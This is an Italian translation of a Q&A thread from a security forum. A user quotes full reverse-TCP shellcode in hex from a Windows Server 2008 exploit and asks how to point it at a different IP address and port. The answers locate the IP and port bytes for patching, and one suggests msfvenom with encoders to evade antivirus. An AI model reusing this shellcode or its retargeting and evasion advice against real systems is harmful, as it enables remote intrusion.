Come modificare il codice esadecimale nell'exploit per soddisfare i miei requisiti?

5

Stavo cercando l'ultimo exploit per Windows Server 2008 qui . Quando ho provato a modificare il codice per adattarlo alle mie esigenze, mi sono bloccato su questa linea:

# Shellcode TCP Reverse to 192.168.125.133 1337 
reversetcp_shellcode = binascii.unhexlify(b'fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc02000539c0a87d8541544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd550504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd54881c44002000049b8636d640000000000415041504889e25757574d31c06a0d594150e2fc66c74424540101488d442418c600684889e6565041504150415049ffc0415049ffc84d89c14c89c141ba79cc3f86ffd54831d248ffca8b0e41ba08871d60ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd5')

Questo è per l'indirizzo IP "192.168.125.133" con la porta "1337". Come posso cambiare questo codice "hex", anche se non sono sicuro che sia effettivamente hex perché non è stato convertito in asci. Qualche aiuto per modificare il codice sul mio indirizzo IP e sulla porta che voglio?

    
posta user156894 16.08.2017 - 05:28
fonte

2 risposte

1

Devi cambiare il codice esadecimale per porta e IP che è 192.168.125.133 == c0.a8.7d.85 e la porta 1337 è 0539

Nel tuo codice trovi entrambi qui:

fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc0200 0539 c0a87d85 41544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd550504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd54881c44002000049b8636d640000000000415041504889e25757574d31c06a0d594150e2fc66c74424540101488d442418c600684889e6565041504150415049ffc0415049ffc84d89c14c89c141ba79cc3f86ffd54831d248ffca8b0e41ba08871d60ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd5

Cambia semplicemente entrambi i valori in quelli che ti servono.

    
risposta data 15.11.2017 - 10:41
fonte
0

Se guardi da vicino, trovi prima la porta e poi l'indirizzo IP in big endian. Poiché le porte sono rappresentate come numeri interi "brevi", sono generalmente 2 byte. Gli indirizzi IPv4 sono rappresentati come 4 byte, quindi stai cercando una stringa lunga 6 byte o una stringa esadecimale di 12 caratteri (dati 2 caratteri esadecimali = 1 byte di dati). Questo ti darebbe la stringa '0539c0a87d85' dove '0538' è esadecimale per 1337, e il resto della stringa contiene i valori di 4 byte che vedi in un indirizzo IPv4 (i valori decimali tra ogni periodo rappresentato come esadecimale). Un semplice comando Python rivela che questa stringa si trova nell'indice 232 (nella versione non amplificata). Modifica qui i sei byte e personalizzerai il tuo shellcode.

Tuttavia, se il tuo obiettivo qui non sta necessariamente scavando nei dettagli dello shellcode e piuttosto semplicemente sostituendo lo shellcode con qualunque sia la tua necessità (forse vuoi qualcosa di diverso da una shell inversa), ti consiglio vivamente di dare un'occhiata nel framework metasploit, in particolare lo strumento msfvenom . È un ottimo strumento per generare shellcode personalizzato e consente anche di aggiungere codificatori per nascondere lo shellcode, rendendo più difficile per i motori antivirus rilevare la firma. Puoi trovare ulteriori informazioni su come usarlo su Github .

    
risposta data 17.08.2017 - 07:17
fonte

Leggi altre domande sui tag